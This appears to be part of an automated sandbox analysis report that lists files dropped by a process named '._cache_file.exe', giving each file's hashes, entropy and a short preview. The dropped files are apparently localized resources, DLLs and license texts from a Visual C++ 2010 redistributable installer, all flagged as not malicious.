Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".u.t.f.-.1.6.".?.>.....<.S.e.t.u.p. .x.m.l.n.s.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.". .x.m.l.n.s.:.i.r.o.n.m.a.n.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.".>..... . .<.L.o.c.a.l.i.z.e.d.D.a.t.a.>..... . . . .<.L.a.n.g.u.a.g.e.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.l.o.c.k.e.r._.X.6.4.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=.".S0n0.0.0.0.0.0.0 ..0.0.0.0.0o0 .x.6.4. ..0.0.0.0.0.0.0n0.0.0.[a.h0W0f0D0~0Y0.0S0.0o0S0n0.0.0.0.0.0.0.0.0k0o0.0.0.0.0.0.0g0M0~0[0.0.0"./.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.l.o.c.k.e.r._.I.A.6.4.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=.".S0n0.0.0.0.0.0.0 ..0.0.0.0.0o0 .I.A.6.4. ..0.0.0.0.0.0.0n0.0.0.[a.h0W0f0D0~0Y0.0S0.0o0S0n0.0.0.0.0.0.0.0.0k0o0.0.0.0.0.0.0g0M0~0[0.0.0"./.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.l.o.c.k.e.r._.U.n.S.u.p.p.o.r.t.e.d.O.S.).". .L.o.c.a.l.i.

C:\36a8a8e2fed651ec27d1eed188bb35\1041\SetupResources.dll

Download File

Process:	C:\Users\user\Desktop\._cache_file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	15704
Entropy (8bit):	5.929554826924656
Encrypted:	false
SSDEEP:	192:Cg0rjUfwtW1+/FuZhS5CSJk/lhAW5kEW1QKPnEtObMacxc8hjeyveCXPX:5hC7mS53JkNSW5kEW1LXci2jpvJ
MD5:	278FD7595B580A016705D00BE363612F
SHA1:	89A299A9ABECB624C3606267371B7C07B74B3B26
SHA-256:	B3ECD3AEA74D0D97539C4971C69F87C4B5FE478FC42A4A31F7E1593D1EBA073F
SHA-512:	838D23D35D8D042A208E8FA88487CD1C72DA48F336157D03B9549DD55C75DA60A83F6DD2B3107EB3E5A24F3FAD70AE1629ACC563371711117C3C3E299B59D838
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........l..............{%......{".....Rich............................PE..L......K.........."!........."...............................................@............@.......................................... ..h............&..X............................................................................................text...G...........................@..@.rsrc.... ... ... ..................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\36a8a8e2fed651ec27d1eed188bb35\1041\eula.rtf

Download File

Process:	C:\Users\user\Desktop\._cache_file.exe
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	181054
Entropy (8bit):	4.962328655200384
Encrypted:	false
SSDEEP:	3072:7vykJ9MRJAwJjAXetBE1rRbe+KusGWqcJ2V:fJ
MD5:	89D66A0B94450729015D021BC8F859E9
SHA1:	C9AD4C7DCDAFEAD282DAA1C214E7A0EAB567FFD5
SHA-256:	6A1884515CC4378D732F681934658252A4B45D76CE7F53CF8650BE794CC8D390
SHA-512:	336A5B1CBF2F52DF5B151A564C8452826D253F9FC565C865D7BA37B91229996D9AE59603350BD5CD99352ED63D265D8578095560CB7DE67DA7E1AA2135FBF0FB
Malicious:	false
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff38\deff0\stshfdbch13\stshfloch0\stshfhich0\stshfbi0\deflang1033\deflangfe1033\themelang1033\themelangfe2052\themelangcs1025{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman{\\falt ?l?r ???fc};}..{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New{\\falt Arial};}..{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol{\\falt Times};}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings{\\falt Symbol};}..{\f11\fbidi \fmodern\fcharset128\fprq1{\\panose 02020609040205080304}MS Mincho{\\falt ?l?r ??\'81\'66c};}{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt ??????????????????????????????\'a8\'ac};}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math{\*\falt Calisto MT};}{\f38\fbidi \fswiss\fcharset0\f

C:\36a8a8e2fed651ec27d1eed188bb35\1042\LocalizedData.xml

Download File

Process:	C:\Users\user\Desktop\._cache_file.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with very long lines (439), with CRLF line terminators
Category:	dropped
Size (bytes):	32962
Entropy (8bit):	4.366645511984528
Encrypted:	false
SSDEEP:	192:4cxsW0TwUrhmUgEMDQdCAtTN/2JWCTJSIQvPaLWL2K4oH/Drv:4cxszjrxgEMDQdpFN7IJSIQvkQvLH/Pv
MD5:	E87AD0B3BF73F3E76500F28E195F7DC0
SHA1:	716B842F6FBF6C68DC9C4E599C8182BFBB1354DC
SHA-256:	43B351419B73AC266C4B056A9C3A92F6DFA654328163814D17833A837577C070
SHA-512:	D3EA8655D42A2B0938C2189CEEAB25C29939C302C2E2205E05D6059AFC2A9B2039B21C083A7C17DA1CE5EEBDC934FF327A452034E2E715E497BCD6239395774C
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".u.t.f.-.1.6.".?.>.....<.S.e.t.u.p. .x.m.l.n.s.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.". .x.m.l.n.s.:.i.r.o.n.m.a.n.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.".>..... . .<.L.o.c.a.l.i.z.e.d.D.a.t.a.>..... . . . .<.L.a.n.g.u.a.g.e.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.l.o.c.k.e.r._.X.6.4.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=.".t. .$.X. ...\.....D. .....X.$.t. .x.6.4. ......t. .D..i..... .t. ......... .$.X.`. ... ........"./.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.l.o.c.k.e.r._.I.A.6.4.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=.".t. .$.X. ...\.....D. .....X.$.t. .I.A.6.4. ......t. .D..i..... .t. ......... .$.X.`. ... ........"./.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.l.o.c.k.e.r._.U.n.S.u.p.p.o.r.t.e.d.O.S.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=.".t. ..... ........... .M.i.c.r.o.s.o.f.

C:\36a8a8e2fed651ec27d1eed188bb35\1042\SetupResources.dll

Download File

Process:	C:\Users\user\Desktop\._cache_file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	15192
Entropy (8bit):	5.9622226182057325
Encrypted:	false
SSDEEP:	192:Hpix6f+jYxzekdPKNS0N7gVCAMWpCeWRQKPnEtObMacxc8hjeyveCXmo+:3ibMj0lgRMWpCeWRLXci2jpv8o+
MD5:	FCFD69EC15A6897A940B0435439BF5FC
SHA1:	6DE41CABDB45294819FC003560F9A2D1E3DB9A7B
SHA-256:	90F377815E3C81FC9AE5F5B277257B82811417CA3FFEACD73BAB530061B3BE45
SHA-512:	4DC3580B372CEE1F4C01569BAEA8CD0A92BC613648DB22FF1855920E47387A151964B295A1126597B44BB0C596E8757B1FCF47CDA010F9BBB15A88F97F41B8BF
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........l..............{%......{".....Rich............................PE..L......K.........."!......... ...............................................@......v.....@.......................................... ...............$..X............................................................................................text...G...........................@..@.rsrc.... ... ......................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\36a8a8e2fed651ec27d1eed188bb35\1042\eula.rtf

Download File

Process:	C:\Users\user\Desktop\._cache_file.exe
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	351492
Entropy (8bit):	4.844773730829239
Encrypted:	false
SSDEEP:	768:bNK7z5n/OLs3+lAB4HeqyOOZjYCrv1MT2hhO0kN9okLgd80UKdF8K8Zb4ajD/y9m:bI79kaIDUhOhQAUiK/9/MjZr
MD5:	8203E9FC25A5720AFB8C43E8BE10C3B0
SHA1:	FC7D9B452B6D5475FD1EF61B78E8BC6E32F08974
SHA-256:	0EBD62213F41DFFA0BCD939BDC6ABC25096E95112C217FDF27CE661A19AD0866
SHA-512:	F95DCB9C25436AE322C240A0D0ABD9F4904A5AF313CAC5CB8C90C1A5460DAD8E983347AD7540C672046E4210945B053B75313BB6D10B44B2A0BF0024B400E81E
Malicious:	false
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch12\stshfloch0\stshfhich0\stshfbi0\deflang1033\deflangfe1033\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman{\\falt ?l?r ???fc};}..{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New{\\falt Arial};}..{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol{\\falt Times};}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings{\\falt Symbol};}..{\f11\fbidi \fmodern\fcharset128\fprq1{\\panose 02020609040205080304}MS Mincho{\\falt ?l?r ??\'81\'66c};}{\f12\fbidi \froman\fcharset129\fprq2{\\panose 02030600000101010101}Batang{\\falt \'b9\'d9\'c5\'c1};}..{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\*\falt ??????????????????????????????\'a1\'a7};}{\f20\fbidi \froman\fcharset129\f

C:\36a8a8e2fed651ec27d1eed188bb35\1049\LocalizedData.xml

Download File

Process:	C:\Users\user\Desktop\._cache_file.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with very long lines (634), with CRLF line terminators
Category:	dropped
Size (bytes):	40428
Entropy (8bit):	4.233211278958208
Encrypted:	false
SSDEEP:	384:4qwoGD2VLQa0inkyZfrOh+++NA3aJW5cGUT3CT+v:DVVJl
MD5:	1290BE72ED991A3A800A6B2A124073B2
SHA1:	DAC09F9F2CCB3B273893B653F822E3DFC556D498
SHA-256:	6BA9A2E4A6A58F5BB792947990E51BABD9D5151A7057E1A051CB007FEA2EB41C
SHA-512:	C0B8B4421FCB2AABE2C8C8773FD03842E3523BF2B75D6262FD8BD952ADC12C06541BDAE0219E89F9F9F8D79567A4FE4DFF99529366C4A7C5BF66C218431F3217
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".u.t.f.-.1.6.".?.>.....<.S.e.t.u.p. .x.m.l.n.s.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.". .x.m.l.n.s.:.i.r.o.n.m.a.n.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.".>..... . .<.L.o.c.a.l.i.z.e.d.D.a.t.a.>..... . . . .<.L.a.n.g.u.a.g.e.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.l.o.c.k.e.r._.X.6.4.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=."...;.O. .M.B.>.9. .?.@.>.3.@.0.<.<.K. .C.A.B.0.=.>.2.:.8. .B.@.5.1.C.5.B.A.O. .?.;.0.B.D.>.@.<.0. .x.6.4... ...5. .=.5.;.L.7.O. .C.A.B.0.=.>.2.8.B.L. .=.0. .4.0.=.=.C.N. .?.;.0.B.D.>.@.<.C..."./.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.l.o.c.k.e.r._.I.A.6.4.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=."...;.O. .M.B.>.9. .?.@.>.3.@.0.<.<.K. .C.A.B.0.=.>.2.:.8. .B.@.5.1.C.5.B.A.O. .?.;.0.B.D.>.@.<.0. .I.A.6.4... ...5. .=.5.;.L.7.O. .C.A.B.0.=.>.2.8.B.L. .=.0. .4.0.=.=.C.N. .?.;.0.B.D.>.@.<.C.

C:\36a8a8e2fed651ec27d1eed188bb35\1049\SetupResources.dll

Download File

Process:	C:\Users\user\Desktop\._cache_file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18264
Entropy (8bit):	5.548909804205606
Encrypted:	false
SSDEEP:	192:eRBvnUfwVWBC623DV3SD1tt9WfXHT7nMsmxeW1QKPnEtObMacxc8hjeyveCXgFK1:e/C6+URiD1vwLoPeW1LXci2jpvaFHM
MD5:	7EF74AF6AB5760950A1D233C582099F1
SHA1:	BF79FF66346907446F4F95E1E785A03CA108EB5D
SHA-256:	658398F1B68D49ABD37FC3B438CD564992D4100ED2A0271CBF83173F33400928
SHA-512:	BBBB099AD24F41785706033962ACFC75039F583BEED40A7CDC8EDA366AB2C77F75A5B2792CF6AACB80B39B6B1BB84ECE372BE926FF3F51028FB404D2F6334D78
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........l..............{%......{".....Rich............................PE..L......K.........."!.........,...............................................P......O.....@.......................................... ..............0..X............................................................................................text...G...........................@..@.rsrc....0... .....................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\36a8a8e2fed651ec27d1eed188bb35\1049\eula.rtf

Download File

Process:	C:\Users\user\Desktop\._cache_file.exe
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	213363
Entropy (8bit):	4.934134633374225
Encrypted:	false
SSDEEP:	6144:D/fSz7yMsMyN1FyRtXSWS3SoSalsySMDS7SmSJ8SUSPsBa5IqDSySipSAS6ASGS+:pG
MD5:	5B95EFBC01DC97EE9A6C6F64A49AA62D
SHA1:	A99C984A0D5E316FE60D588A3519F2D5C805C1DE
SHA-256:	0CFACFF2B63121AD1D71376E4A3799B93B7E6D278209FE4806CCA0F74830CFC1
SHA-512:	A0B19864E68945A74BCE24C8D5EB0050ABB66C6FF6A53D0482FFA70E93EEE2957608BB9BDE535718D56CD5D7509B4DD7A1786C99BC2120344293234B7A6C2A3B
Malicious:	false
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch0\stshfhich0\stshfbi0\deflang1033\deflangfe1033\themelang1033\themelangfe2052\themelangcs1025{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman{\\falt ?l?r ???fc};}..{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New{\\falt Arial};}..{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol{\\falt Times};}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings{\\falt Symbol};}..{\f11\fbidi \fmodern\fcharset128\fprq1{\\panose 02020609040205080304}MS Mincho{\\falt ?l?r ??\'81\'66c};}{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt ???????????????????????????????};}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math{\\falt Calisto MT};}{\f38\fbidi \fswiss\fcharset0\fprq2{\\p

C:\36a8a8e2fed651ec27d1eed188bb35\2052\LocalizedData.xml

Download File

Process:	C:\Users\user\Desktop\._cache_file.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with very long lines (390), with CRLF line terminators
Category:	dropped
Size (bytes):	31138
Entropy (8bit):	4.240036868712424
Encrypted:	false
SSDEEP:	192:4QD7cJwYXzOnyqqgafOAXUmUfMcq0JywXk83GJPupIoxnb/2v:4QD7cJxXC/qgaffXUmUi0JyoknJY9b+v
MD5:	150B5C3D1B452DCCBE8F1313FDA1B18C
SHA1:	7128B6B9E84D69C415808F1D325DD969B17914CC
SHA-256:	6D4EB9DCA1CBCD3C2B39A993133731750B9FDF5988411F4A6DA143B9204C01F2
SHA-512:	A45A1F4F19A27558E08939C7F63894FF5754E6840DB86B8C8C68D400A36FB23179CAFF164D8B839898321030469B56446B5A8EFC5765096DEE5E8A746351E949
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".u.t.f.-.1.6.".?.>.....<.S.e.t.u.p. .x.m.l.n.s.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.". .x.m.l.n.s.:.i.r.o.n.m.a.n.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.".>..... . .<.L.o.c.a.l.i.z.e.d.D.a.t.a.>..... . . . .<.L.a.n.g.u.a.g.e.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.l.o.c.k.e.r._.X.6.4.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=.".dk.[..z.^..Bl.O(u .x.6.4. .s^.S.0.N..(Wdks^.S.N.[.dk.z.^.0"./.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.l.o.c.k.e.r._.I.A.6.4.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=.".dk.[..z.^..Bl.O(u .I.A.6.4. .s^.S.0.N..(Wdks^.S.N.[.dk.z.^.0"./.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.l.o.c.k.e.r._.U.n.S.u.p.p.o.r.t.e.d.O.S.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=.".dk.d\O.\|.~.N/e.c .M.i.c.r.o.s.o.f.t. .V.i.s.u.a.l. .C.+.+. .2.0.1.0. .R.e.d.i.s.t.r.i.b.u.t.a.b.l.e..0"./.>..... . . . . . .<.

C:\36a8a8e2fed651ec27d1eed188bb35\2052\SetupResources.dll

Download File

Process:	C:\Users\user\Desktop\._cache_file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	14168
Entropy (8bit):	6.010838262457833
Encrypted:	false
SSDEEP:	192:rsLnUfwVWtTXjuQShyjK7tWUEW5IQKPnEtObMacxc8hjeyveCXMOV:4eCTFhMKZWUEW5ILXci2jpvP
MD5:	407CDB7E1C2C862B486CDE45F863AE6E
SHA1:	308AEEBEB1E1663ACA26CE880191F936D0E4E683
SHA-256:	9DD9D76B4EF71188B09F3D074CD98B2DE6EA741530E4EA19D539AE3F870E8326
SHA-512:	7B4F43FC24EB30C234F2713C493B3C13928C591C77A3017E8DD806A41CCFEDD53B0F748B5072052F8F9AC43236E8320B19D708903E3F06C59C6ED3C12722494E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........l..............{%......{".....Rich............................PE..L......K.........."!.........................................................@.......y....@.......................................... ............... ..X............................................................................................text...G...........................@..@.rsrc.... ... ......................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\36a8a8e2fed651ec27d1eed188bb35\2052\eula.rtf

Download File

Process:	C:\Users\user\Desktop\._cache_file.exe
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	225202
Entropy (8bit):	4.985888615397263
Encrypted:	false
SSDEEP:	3072:0pvaMOA6EOEGJA7JDnbyiBTmAO3FQ31Rdz5Zq3Kho:6v+Ez0
MD5:	6E5BDDF58163B11C79577B35A87A4424
SHA1:	8AAA1008360F7B255A6A88AD02D3A00DEB8B0AE6
SHA-256:	D4A26E3756437CA8BA132AE3A73AA7A829478A847D6B9AB69A8090515CE9A60A
SHA-512:	21DD9D754C0A3A383F20259E87AA4769D6ECB36753039DCE8B644E16E0ABC3C94B4B850648E0369474C914655140E7F3CC3E808ED27E70892A863F61F8588C6E
Malicious:	false
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch31505\stshfloch0\stshfhich0\stshfbi0\deflang1033\deflangfe1033\themelang1033\themelangfe2052\themelangcs1025{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman{\\falt ?l?r ???fc};}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New{\\falt Arial};}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol{\\falt Times};}..{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings{\\falt Symbol};}{\f11\fbidi \fmodern\fcharset128\fprq1{\\panose 02020609040205080304}MS Mincho{\\falt ?l?r ??\'81\'66c};}..{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt ??????????????????????????\'a1\'a7????};}{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math{\\falt Calisto MT};}..{\f38\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604030504040204}Tahoma{\\falt ?? ??};}{\f39\fbidi

C:\36a8a8e2fed651ec27d1eed188bb35\3082\LocalizedData.xml

Download File

Process:	C:\Users\user\Desktop\._cache_file.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with very long lines (616), with CRLF line terminators
Category:	dropped
Size (bytes):	40912
Entropy (8bit):	3.5296761558263756
Encrypted:	false
SSDEEP:	384:4fcA4U4d+uYWFHO/xGeftjG2QDu7Jr++dP8z3AzOrv:BoZWFu//xWCJi8Pg32Y
MD5:	05A95593C61C744759E52CAF5E13502E
SHA1:	0054833D8A7A395A832E4C188C4D012301DD4090
SHA-256:	1A3E5E49DA88393A71EA00D73FEE7570E40EDB816B72622E39C7FCD09C95EAD1
SHA-512:	00AEE4C02F9D6374560F7D2B826503AAB332E1C4BC3203F88FE82E905471EC43F92F4AF4FC52E46F377E4D297C2BE99DAF94980DF2CE7664C169552800264FD3
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".u.t.f.-.1.6.".?.>.....<.S.e.t.u.p. .x.m.l.n.s.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.". .x.m.l.n.s.:.i.r.o.n.m.a.n.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.".>..... . .<.L.o.c.a.l.i.z.e.d.D.a.t.a.>..... . . . .<.L.a.n.g.u.a.g.e.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.l.o.c.k.e.r._.X.6.4.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=.".E.s.t.e. .p.r.o.g.r.a.m.a. .d.e. .i.n.s.t.a.l.a.c.i...n. .r.e.q.u.i.e.r.e. .u.n.a. .p.l.a.t.a.f.o.r.m.a. .x.6.4... .N.o. .s.e. .p.u.e.d.e. .i.n.s.t.a.l.a.r. .e.n. .e.s.t.a. .p.l.a.t.a.f.o.r.m.a..."./.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.l.o.c.k.e.r._.I.A.6.4.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=.".E.s.t.e. .p.r.o.g.r.a.m.a. .d.e. .i.n.s.t.a.l.a.c.i...n. .r.e.q.u.i.e.r.e. .u.n.a. .p.l.a.t.a.f.o.r.m.a. .I.A.6.4... .N.o. .s.e. .p.u.e.d.e. .i.n.s.t.a.l.a.r. .e.n. .e.s.t.a. .p.l.a.t.

C:\36a8a8e2fed651ec27d1eed188bb35\3082\SetupResources.dll

Download File

Process:	C:\Users\user\Desktop\._cache_file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18776
Entropy (8bit):	5.182140892959793
Encrypted:	false
SSDEEP:	192:ZikgnUfwVWVCe8b1S2U85ZTYG1lmW+eWaQKPnEtObMacxc8hjXHUz1TrOYL18:Zlv6Lbg2zZTf1lmW+eWaLXci2jXHUx8
MD5:	B057315A8C04DF29B7E4FD2B257B75F4
SHA1:	D674D066DF8D1041599FCBDB3BA113600C67AE93
SHA-256:	51B174AE7EE02D8E84C152D812E35F140A61814F3AECD64E0514C3950060E9FE
SHA-512:	F1CD510182DE7BBF8D45068D1B3F72DE58C7B419EFC9768765DF6C180AB3E2D94F3C058143095A66C05BCB70B589D1A5061E5FEE566282E5DB49FFBDEA3C672F
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........l..............{%......{".....Rich............................PE..L......K.........."!.........................................................P............@.......................................... .. *...........2..X............................................................................................text...G...........................@..@.rsrc....0... ...,..................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\36a8a8e2fed651ec27d1eed188bb35\3082\eula.rtf

Download File

Process:	C:\Users\user\Desktop\._cache_file.exe
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	152458
Entropy (8bit):	5.013297113523102
Encrypted:	false
SSDEEP:	3072:4zkouwFDNSMUYugRJA8J/snalBEm0OgKXIJR10GZybh2U:4zDNIYt
MD5:	A920D4F55EAE5FEBAB1082AB2BCC2439
SHA1:	CBD631427871B620E9C95417788BFCDD1CD0A2A5
SHA-256:	2FFF2122C4D176E074365775227D4208AF48F2F921BE7623EDC315CD345ACF0B
SHA-512:	28135FBD9D940F0DEEC7A059AB2998B034575CC5D6DD31B1BE501B60689860478B0A0AB5183C69B2ACBBB9C1A074BBAA215960B3FACC6A9A3B0170E27E7B2B47
Malicious:	false
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch0\stshfhich0\stshfbi0\deflang1033\deflangfe1033\themelang1033\themelangfe2052\themelangcs1025{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman{\\falt ?l?r ???fc};}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New{\\falt Arial};}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol{\\falt Times};}..{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings{\\falt Symbol};}{\f11\fbidi \fmodern\fcharset128\fprq1{\\panose 02020609040205080304}MS Mincho{\\falt ?l?r ??\'81\'66c};}..{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt ????????????????????????????\'a8\'ac??};}{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math{\\falt Calisto MT};}..{\f38\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604030504040204}Tahoma{\\falt ?? ??};}{\f39\fbidi \fsw

C:\36a8a8e2fed651ec27d1eed188bb35\DHtmlHeader.html

Download File

Process:	C:\Users\user\Desktop\._cache_file.exe
File Type:	HTML document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	16118
Entropy (8bit):	3.6434775915277604
Encrypted:	false
SSDEEP:	192:7Ddx3KOTczFQ21Kp4n5DTx1iDecPeLHLHQFJFjZWblWUxFzJzcKHjT:fdsOT01KcBUFJFEWUxFzvHH
MD5:	CD131D41791A543CC6F6ED1EA5BD257C
SHA1:	F42A2708A0B42A13530D26515274D1FCDBFE8490
SHA-256:	E139AF8858FE90127095AC1C4685BCD849437EF0DF7C416033554703F5D864BB
SHA-512:	A6EE9AF8F8C2C7ACD58DD3C42B8D70C55202B382FFC5A93772AF7BF7D7740C1162BB6D38A4307B1802294A18EB52032D410E128072AF7D4F9D54F415BE020C9A
Malicious:	false
